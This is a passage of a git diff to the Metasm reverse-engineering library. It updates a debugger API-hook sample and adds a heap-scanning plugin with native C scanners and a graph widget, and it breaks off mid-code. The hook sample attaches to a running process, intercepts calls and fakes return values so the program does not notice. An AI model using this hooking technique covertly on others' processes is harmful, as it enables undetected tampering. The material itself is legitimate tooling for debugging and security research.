a/lib/metasm/samples/dasmnavig.rb +++ b/lib/metasm/samples/dasmnavig.rb @@ -115,7 +115,7 @@ class Viewer $stdout.write Ansi::ClearScreen begin loop do - refresh if not s = IO.select([$stdin], nil, nil, 0) + refresh if not IO.select([$stdin], nil, nil, 0) handle_key(Ansi.getkey) end ensure diff --git a/lib/metasm/samples/dbg-apihook.rb b/lib/metasm/samples/dbg-apihook.rb index da800a082a..02b8c1447a 100644 --- a/lib/metasm/samples/dbg-apihook.rb +++ b/lib/metasm/samples/dbg-apihook.rb @@ -17,6 +17,8 @@ require 'metasm' class ApiHook + attr_accessor :dbg + # rewrite this function to list the hooks you want # return an array of hashes def setup @@ -33,19 +35,31 @@ class ApiHook raise 'no such process' if not process dbg = process.debugger end - dbg.loadallsyms @dbg = dbg - setup.each { |h| setup_hook(h) } - init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop - @dbg.run_forever + begin + setup.each { |h| setup_hook(h) } + init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop + @dbg.run_forever + rescue Interrupt + @dbg.detach #rescue nil + end end # setup one function hook def setup_hook(h) + @las ||= false + if not h[:lib] and not @las + @dbg.loadallsyms + @las = false + elsif h[:lib] + # avoid loadallsyms if specified (regexp against pathname, not exported lib name) + @dbg.loadsyms(h[:lib]) + end + pre = "pre_#{h[:hookname] || h[:function]}" post = "post_#{h[:hookname] || h[:function]}" - @nargs = h[:nargs] || method(pre).arity if respond_to?(pre) + nargs = h[:nargs] || method(pre).arity if respond_to?(pre) if target = h[:address] elsif target = h[:rva] @@ -56,7 +70,8 @@ class ApiHook target = h[:function] end - @dbg.bpx(target) { + @dbg.bpx(target, false, h[:condition]) { + @nargs = nargs catch(:finish) { @cur_abi = h[:abi] @ret_longlong = h[:ret_longlong] @@ -206,7 +221,8 @@ class MyHook < ApiHook #patch_retval(42) # finish messing with the args: fake the nrofbyteswritten - handle, pbuf, size, pwritten, overlap = arglistcopy + #handle, pbuf, size, pwritten, overlap = arglistcopy + size, pwritten = arglistcopy.values_at(2, 3) written = @dbg.memory_read_int(pwritten) if written == size # if written everything, patch the value so that the program dont detect our intervention @@ -217,8 +233,7 @@ class MyHook < ApiHook end end -# name says it all -Metasm::WinOS.get_debug_privilege +Metasm::OS.current.get_debug_privilege if Metasm::OS.current.respond_to? :get_debug_privilege # run our Hook engine on a running 'notepad' instance MyHook.new('notepad') diff --git a/lib/metasm/samples/dbg-plugins/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan.rb new file mode 100644 index 0000000000..ad40fa2522 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan.rb @@ -0,0 +1,283 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm debugger plugin +# adds some heap_* functions to interract with the target heap chunks +# functions: +# heap_scan, scan for malloc chunks in the heaps and xrefs between them +# heap_scanstruct, scan for arrays/linkedlists in the chunk graph +# heap_chunk [addr], display a chunk +# heap_array [addr], display an array of chunks from their root +# heap_list [addr], display a linkedlist +# heap_strscan [str], scan the memory for a raw string, display chunks xrefs +# heap_snap, make a snapshot of the currently displayed structure, hilight fields change + + +# use precompiled native version when available +$heapscan_dir = File.join(File.dirname(plugin_filename).gsub('\\', '/'), 'heapscan') +require File.join($heapscan_dir, 'heapscan') + +fname = case OS.current.shortname +when 'linos' + 'compiled_heapscan_lin' +when 'winos' + case OS.current.version[0] + when 5; 'compiled_heapscan_win' + when 6; 'compiled_heapscan_win7' + end +end +fname = File.join($heapscan_dir, fname) +if not File.exist?(fname + '.so') and File.exist?(fname + '.c') + puts "compiling native scanner..." + exe = DynLdr.host_exe.compile_c_file(DynLdr.host_cpu, fname + '.c') + DynLdr.compile_binary_module_hack(exe) + exe.encode_file(fname + '.so', :lib) +end +require fname if File.exist?(fname + '.so') + +def heapscan_time(s='') + @heapscan_time ||= nil + t = Time.now + log s + ' %.2fs' % (t-@heapscan_time) if @heapscan_time and s != '' + @heapscan_time = t + Gui.main_iter if gui +end + +def heap; @heap ; end +def heap=(h) ; @heap = h ; end + +def heapscan_scan(xr=true) + heaps = [] + mmaps = [] + libc = nil + pr = os_process + pr.mappings.each { |a, l, p, f| + case f.to_s + when /heap/ + heaps << [a, l] + when /libc[^a-zA-Z]/ + libc ||= a if p == 'r-xp' + when '' + mmaps << [a, l] + end + } + + heapscan_time '' + @disassembler.parse_c '' + if pr and OS.current.name =~ /winos/i + if OS.current.version[0] == 5 + @heap = WindowsHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap.h') unless @heap.cp.toplevel.struct['_HEAP'] + else + @heap = Windows7Heap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap7.h') unless @heap.cp.toplevel.struct['_HEAP'] + end + @heap.heaps = heaps + else + @heap = LinuxHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.mmaps = mmaps + @heap.scan_libc(libc) + heapscan_time "libc!main_arena #{'%x' % @heap.main_arena_ptr}" + end + + hsz = 0 + (heaps + mmaps).each { |a, l| + hsz += l + @heap.range.update a => l + } + + log "#{hsz/1024/1024}M heap" + + @heap.scan_chunks + heapscan_time "#{@heap.chunks.length} chunks" + return if not xr + + @heap.scan_chunks_xr + heapscan_time "#{@heap.xrchunksto.length} src, #{@heap.xrchunksfrom.length} dst" +end + +def heapscan_structs + heapscan_time + @heap.bucketize + heapscan_time "#{@heap.buckets.length} buckets" + + @heap.find_arrays + heapscan_time "#{@heap.allarrays.length} arrays (#{@heap.allarrays.flatten.length} elems)" + + @heap.find_linkedlists + heapscan_time "#{@heap.alllists.length} lists (#{@heap.alllists.flatten.length} elems)" +end + +def heapscan_kernels + heapscan_time + @heap.find_kernels + heapscan_time "#{@heap.kernels.length} kernels" +end + +def heapscan_roots + heapscan_time + @heap.find_roots + heapscan_time "#{@heap.roots.length} roots" +end + +def heapscan_graph + heapscan_time + @heap.dump_graph + heapscan_time 'graph.gv' +end + +def gui_show_list(addr) + a = resolve(addr) + #@heap.cp.parse("struct ptr { void *ptr; };") if not @heap.cp.toplevel.struct['ptr'] + h = @heap.linkedlists[a] + off = h.keys.first + lst = h[off] + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + st = Metasm::C::Struct.new + st.name = "list_#{'%x' % lst.first}" + st.members = [] + (@heap.chunks[lst.first] / 4).times { |i| + n = "u#{i}" + t = Metasm::C::BaseType.new(:int) + if i == off/4 + n = "next" + t = Metasm::C::Pointer.new(st) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + $ghw.addr_struct = {} + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(lst.first, :graphheap) +end + +def gui_show_array(addr) + head = resolve(addr) + e = @heap.xrchunksto[head].to_a.find { |ee| @heap.arrays[ee] and @heap.arrays[ee][head] } + return if not e + lst = @heap.arrays[e][head] + + if not st = @heap.chunk_struct[head] + st = Metasm::C::Struct.new + st.name = "array_#{'%x' % head}" + st.members = [] + (@heap.chunks[head] / 4).times { |i| + n = "u#{i}" + v = @memory[head+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + @heap.chunk_struct[head] = st + + $ghw.addr_struct = { head => @heap.cp.decode_c_struct(st.name, @memory, head) } + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + e = lst.first + st = Metasm::C::Struct.new + st.name = "elem_#{'%x' % head}" + st.members = [] + (@heap.chunks[e] / 4).times { |i| + n = "u#{i}" + v = @memory[e+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(head, :graphheap) +end + + +if gui + require File.join($heapscan_dir, 'graphheap') + $ghw = Metasm::Gui::GraphHeapWidget.new(@disassembler, gui.parent_widget.mem) + gui.parent_widget.mem.addview :graphheap, $ghw + $ghw.show if $ghw.respond_to?(:show) + + gui.new_command('heap_scan', 'scan the heap(s)') { |*a| heapscan_scan ; $ghw.heap = @heap } + gui.new_command('heap_scan_noxr', 'scan the heap(s), no xrefs') { |*a| heapscan_scan(false) ; $ghw.heap = @heap } + gui.new_command('heap_scan_xronly', 'scan the heap(s) for xrefs') { |*a| $ghw.heap.scan_chunks_xr } + gui.new_command('heap_scanstructs', 'scan the heap for arrays/lists') { |*a| heapscan_structs } + gui.new_command('heap_list', 'show a linked list') { |a| + if a.to_s != '' + gui_show_list(a) + else + l = [['addr', 'len']] + @heap.alllists.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('lists', l) { |*aa| gui_show_list(aa[0][0]) } + end + } + gui.new_command('heap_array', 'show an array') { |a| + if a.to_s != '' + gui_show_array(a) + else + l = [['addr', 'len']] + @heap.allarrays.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('arrays', l) { |*aa| gui_show_array(aa[0][0]) } + end + } + gui.new_command('heap_chunk', 'show a chunk') { |a| + a = resolve(a) + gui.parent_widget.mem.focus_addr(a, :graphheap) + $ghw.do_focus_addr(a) + } + gui.new_command('heap_strscan', 'scan a string') { |a| + sa = pattern_scan(a) + log "found #{sa.length} strings : #{sa.map { |aa| Expression[aa] }.join(' ')}" + sa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr #{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + gui.new_command('heap_ptrscan', 'scan a pointer') { |a| + a = resolve(a) + if @heap.chunks[a] + pa = @heap.xrchunksfrom[a].to_a + else + pa = pattern_scan(Expression.encode_imm(a, @cpu.size/8, @cpu.endianness)) + end + log "found #{pa.length} pointers : #{pa.map { |aa| Expression[aa] }.join(' ')}" + pa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr @#{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + + gui.new_command('heap_snap', 'snapshot the current heap struct') { |a| + $ghw.snap + } + gui.new_command('heap_snap_add', 'snapshot, ignore fields changed between now and last snap') { |a| + $ghw.snap_add + } +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c new file mode 100644 index 0000000000..1ce164ee66 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c @@ -0,0 +1,155 @@ +#ifdef __ELF__ +asm .pt_gnu_stack rw; +#endif +typedef uintptr_t VALUE; +static VALUE const_File; +static VALUE const_LinuxHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_gv_get(const char*); +VALUE rb_intern(char*); +VALUE rb_ivar_get(VALUE, unsigned int); +VALUE rb_iv_get(VALUE, char*); +void *rb_method_node(VALUE, unsigned int); +VALUE rb_obj_as_string(VALUE); +VALUE rb_str_append(VALUE, VALUE); +VALUE rb_str_cat2(VALUE, const char*); +VALUE rb_str_new2(const char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); + + +int printf(char*, ...); + +static VALUE heap_entry(void *heap, VALUE idx, VALUE psz) +{ + if (psz == 4) + return (VALUE)(((__int32*)heap)[idx]); + return (VALUE)(((__int64*)heap)[idx]); +} + +static VALUE m_LinuxHeap23scan_heap(VALUE self, VALUE vbase, VALUE vlen, VALUE ar) +{ + VALUE *heap; + VALUE chunks; + VALUE base = rb_num2ulong(vbase); + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE ptr = 0; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) + return 4; + + base += 8; + + for (;;) { + clen = sz & -8; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if (sz & 1) + rb_hash_aset(chunks, rb_uint2inum(base), ((clen-psz)<<1)|1); + base += clen; + } + + rb_funcall(self, rb_intern("del_fastbin"), 1, ar); + + return 4; +} + + + +static VALUE m_LinuxHeap23scan_heap_xr(VALUE self, VALUE vbase, VALUE vlen) +{ + VALUE *heap; + VALUE chunks, xrchunksto, xrchunksfrom; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE base = rb_num2ulong(vbase) + 2*psz; + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + + chunks = rb_iv_get(self, "@chunks"); + xrchunksto = rb_iv_get(self, "@xrchunksto"); + xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) + return 4; + + /* re-walk the heap, simpler than iterating over @chunks */ + VALUE ptr = 0; + VALUE ptr0, ptrl; + for (;;) { + clen = sz & -8; + ptr0 = ptr+2; + ptrl = clen/psz-1; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if ((sz & 1) && + ((rb_hash_aref(chunks, rb_uint2inum(base))|4) != 4)) { + VALUE tabto = 0; + VALUE tabfrom; + while (ptrl--) { + VALUE p = heap_entry(heap, ptr0++, psz); + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + base += clen; + } + return 4; +} + + + +static void do_init_once(void) +{ + const_LinuxHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_LinuxHeap = rb_const_get(const_LinuxHeap, rb_intern("LinuxHeap")); + rb_define_method(const_LinuxHeap, "scan_heap", m_LinuxHeap23scan_heap, 3); + rb_define_method(const_LinuxHeap, "scan_heap_xr", m_LinuxHeap23scan_heap_xr, 2); +} + + + +int Init_compiled_heapscan_lin __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c new file mode 100644 index 0000000000..f29c24ec8e --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c @@ -0,0 +1,128 @@ +typedef uintptr_t VALUE; +static VALUE const_WindowsHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_intern(char*); +VALUE rb_iv_get(VALUE, char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); +VALUE rb_gc_enable(void); +VALUE rb_gc_disable(void); + +#include "winheap.h" + +#define INT2FIX(i) (((i) << 1) | 1) + +static VALUE m_WindowsHeap23scan_heap_segment(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE sz; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + while (off < len) { + he = heapcpy + off; + if (he->Flags & 1) { + sz = (VALUE)he->Size*8; + if (sz > he->UnusedBytes) + sz -= he->UnusedBytes; + else + sz = 0; + rb_hash_aset(chunks, rb_uint2inum(first+off+sizeof(*he)), INT2FIX(sz)); + } + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static VALUE m_WindowsHeap23scan_heap_segment_xr(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE xrchunksto = rb_iv_get(self, "@xrchunksto"); + VALUE xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + VALUE *ptr0, base, cklen; + while (off < len) { + he = heapcpy + off; + // address of the chunk + base = first + off + sizeof(*he); + if ((he->Flags & 1) && + (((cklen = rb_hash_aref(chunks, rb_uint2inum(base)))|4) != 4)) { + cklen /= 2*sizeof(void*); // /2 == FIX2INT + // pointer to the data for the chunk in our copy of the heap from pagecache + ptr0 = (VALUE*)(heapcpy + off + sizeof(*he)); + VALUE tabto = 0; + VALUE tabfrom; + while (cklen--) { + VALUE p = *ptr0++; + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + if (!he->Size) + break; + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static void do_init_once(void) +{ + const_WindowsHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_WindowsHeap = rb_const_get(const_WindowsHeap, rb_intern("WindowsHeap")); + rb_define_method(const_WindowsHeap, "scan_heap_segment", m_WindowsHeap23scan_heap_segment, 2); + rb_define_method(const_WindowsHeap, "scan_heap_segment_xr", m_WindowsHeap23scan_heap_segment_xr, 2); +} + +int Init_compiled_heapscan_win __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb new file mode 100644 index 0000000000..9786fe5df2 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb @@ -0,0 +1,616 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module ::Metasm +module Gui +class GraphHeapWidget < GraphViewWidget + attr_accessor :heap, :addr_struct, :snapped + # addr_struct = 0x234 => AllocCStruct + + def set_color_arrow(b1, b2) + if b1 == @caret_box or b2 == @caret_box + draw_color :arrow_hl + else + draw_color :arrow_cond + end + end + + def setup_contextmenu(b, m) + addsubmenu(m, '_follow pointer') { + next if not lm = b[:line_member][@caret_y] + addr = b[:line_struct][@caret_y][lm] + next if not @heap.chunks[addr] + if lm.kind_of?(::Integer) + t = b[:line_struct][@caret_y].struct.type + else + t = lm.type + end + if t.pointer? and t.pointed.untypedef.kind_of? C::Union + @heap.chunk_struct[addr] ||= t.pointed.untypedef + end + st = @heap.chunk_struct[addr] || create_struct(addr) + ed = @dasm.get_edata_at(addr) + @addr_struct[addr] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + gui_update + } + addsubmenu(m, '_hide box') { + @selected_boxes.each { |sb| + @addr_struct.delete sb.id if @addr_struct.length > 1 + } + @curcontext.root_addrs = struct_find_roots(@addr_struct.keys.first) + gui_update + } + super(b, m) + end + + def keypress(k) + case k + when ?u + # update display (refresh struct member values) + @parent_widget.parent_widget.console.commands['refresh'][] + gui_update + when ?t + # change struct field type + if @selected_boxes.length > 1 + # mass-retype chunks + st = @addr_struct[@selected_boxes[0].id].struct + inputbox("replacement struct for selected chunks", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @selected_boxes.each { |sb| + as = @addr_struct[sb.id] + @heap.chunk_struct[sb.id] = nst + @addr_struct[sb.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + } + gui_update + } + elsif b = @caret_box + if @caret_y == 0 + as = @addr_struct[b.id] + st = as.struct + inputbox("replacement struct for #{st.name}", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @heap.chunk_struct[b.id] = nst + @addr_struct[b.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type for #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + nsz = @heap.cp.sizeof(nt) + osz = @heap.cp.sizeof(m) + if nsz > osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + # eat next members + while nsz > osz + break if idx+1 >= st.members.length + sz = @heap.cp.sizeof(st.members.delete_at(idx+1)) + osz += sz + end + end + if nsz < osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + # fill gap with bytes + idx += 1 + while nsz < osz + st.members[idx, 0] = [C::Variable.new(('unk_%x' % (pos+nsz)), C::BaseType.new(:__int8, :unsigned))] + idx += 1 + nsz += 1 + end + end + m.type = nt + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?n + # rename struct field + if b = @caret_box + if @caret_y == 0 + st = @addr_struct[b.id].struct + inputbox("new name for #{st.name}", :text => st.name) { |nn| + raise "struct #{nn} already exists (try 't')" if @heap.cp.toplevel.struct[nn] + @heap.cp.toplevel.struct[nn] = @heap.cp.toplevel.struct.delete(st.name) + st.name = nn + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new name for #{m.name}", :text => m.name) { |nn| + m.name = nn + st.update_member_cache(@heap.cp) + gui_update + } + end + end + when ?e + # edit struct field value under the cursor + if b = @caret_box + # TODO b[:struct][line], b.[:member][line] (int for Arrays) + st = b[:line_struct][@caret_y] + mb = b[:line_member][@caret_y] + if st and mb + if mb.kind_of?(C::Variable) and mb.type.kind_of?(C::Array) and mb.type.type.kind_of?(C::BaseType) and mb.type.type.name == :char + defval = st[mb].to_array.pack('C*').gsub(/\0*$/, '').gsub(/[^\x20-\x7e]/, '.') + string = true + else + defval = st[mb] + string = false + end + inputbox("new value for #{mb.respond_to?(:name) ? mb.name : mb}", :text => defval.to_s) { |nn| + if string + am = st[mb] + (nn.unpack('C*') + [0]).each_with_index { |b_, i| am[i] = b_ } + else + st[mb] = Expression.parse_string(nn).reduce + end + gui_update + } + end + end + when ?x + # show heap xrefs to the hilighted chunk + if b = @caret_box + list = [['address', 'size']] + @heap.xrchunksfrom[b.id].to_a.each { |a| + list << [Expression[a], Expression[@heap.chunks[a]]] + } + if list.length == 1 + messagebox "no xref to #{Expression[b.id]}" + else + listwindow("heap xrefs to #{Expression[b.id]}", list) { |i| @parent_widget.focus_addr(i[0], nil, true) } + end + end + when ?I + # insert new field in struct + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type to insert before #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + name = oname = v.name || ('unk_%x_new' % pos) + cntr = 0 + while st.members.find { |m_| m_.name == name } + name = oname + "_#{cntr+=1}" + end + st.members[idx, 0] = [C::Variable.new(name, nt)] + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?S + # delete structure field + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("delete #{m.name} ?") { |nn| + idx = st.members.index(m) + st.members.delete_at(idx) + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?+ + # append blocks linked from the currently shown blocks to the display + @addr_struct.keys.each { |ak| + @heap.xrchunksto[ak].to_a.each { |nt| + next if @addr_struct[nt] + # TODO check if the pointer is a some_struct* + st = @heap.chunk_struct[nt] || create_struct(nt) + ed = @dasm.get_edata_at(nt) + @addr_struct[nt] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + } + } + gui_update + when ?- + # remove graph leaves in an attempt to undo ?+ + unk = @addr_struct.keys.find_all { |ak| + (@heap.xrchunksto[ak].to_a & @addr_struct.keys).empty? + } + unk.each { |ak| @addr_struct.delete ak if @addr_struct.length > 1 } + gui_update + else return super(k) + end + true + end + + # create the graph objects in ctx + def build_ctx(ctx) + # create boxes + todo = ctx.root_addrs.dup & @addr_struct.keys + todo << @addr_struct.keys.first if todo.empty? + done = [] + while a = todo.shift + next if done.include? a + done << a + ctx.new_box a, :line_text_col => [], :line_address => [], :line_struct => [], :line_member => [] + todo.concat @heap.xrchunksto[a].to_a & @addr_struct.keys + end + + # link boxes + if (@heap.xrchunksto[ctx.box.first.id].to_a & @addr_struct.keys).length == ctx.box.length - 1 + ot = ctx.box[0].id + ctx.box[1..-1].each { |b_| + ctx.link_boxes(ot, b_.id) + } + else + ctx.box.each { |b| + @heap.xrchunksto[b.id].to_a.each { |t| + ctx.link_boxes(b.id, t) if @addr_struct[t] + } + } + end + + if snapped + @datadiff = {} + end + + # calc box dimensions/text + ctx.box.each { |b| + colstr = [] + curaddr = b.id + curst = @addr_struct[b.id] + curmb = nil + margin = '' + start_addr = curaddr + if snapped + ghosts = snapped[curaddr] + end + line = 0 + render = lambda { |str, col| colstr << [str, col] } + nl = lambda { + b[:line_address][line] = curaddr + b[:line_text_col][line] = colstr + b[:line_struct][line] = curst + b[:line_member][line] = curmb + colstr = [] + line 